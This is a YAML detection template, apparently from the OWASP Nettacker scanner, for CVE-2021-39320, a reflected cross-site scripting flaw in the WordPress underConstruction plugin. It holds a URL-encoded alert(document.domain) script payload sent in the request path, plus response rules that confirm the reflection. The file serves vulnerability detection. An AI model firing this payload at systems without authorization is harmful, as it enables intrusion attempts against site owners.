info:
  name: wp_plugin_cve_2021_39320_vuln
  author: OWASP Nettacker Team
  severity: 6
  description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
  reference: 
    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
  profiles:
    - vuln
    - vulnerability
    - http
    - medium_severity
    - cve2021
    - cve
    - wordpress
    - xss
    - wp_plugin

payloads:
  - library: http
    steps:
      - method: get
        timeout: 3
        headers:
          User-Agent: "{user_agent}"
        allow_redirects: false
        ssl: false
        url:
          nettacker_fuzzer:
            input_format: "{{schema}}://{target}:{{ports}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction"
            prefix: ""
            suffix: ""
            interceptors:
            data:
              schema:
                - "http"
                - "https"
              ports:
                - 80
                - 443
        response:
          condition_type: and
          conditions:
            status_code:
              regex: '200'
              reverse: false
            header:
              Content-type: 
                regex: text/html
                reverse: false
            content:
              regex: <\/script><script>alert\(document\.domain\)<\/script>
              reverse: false
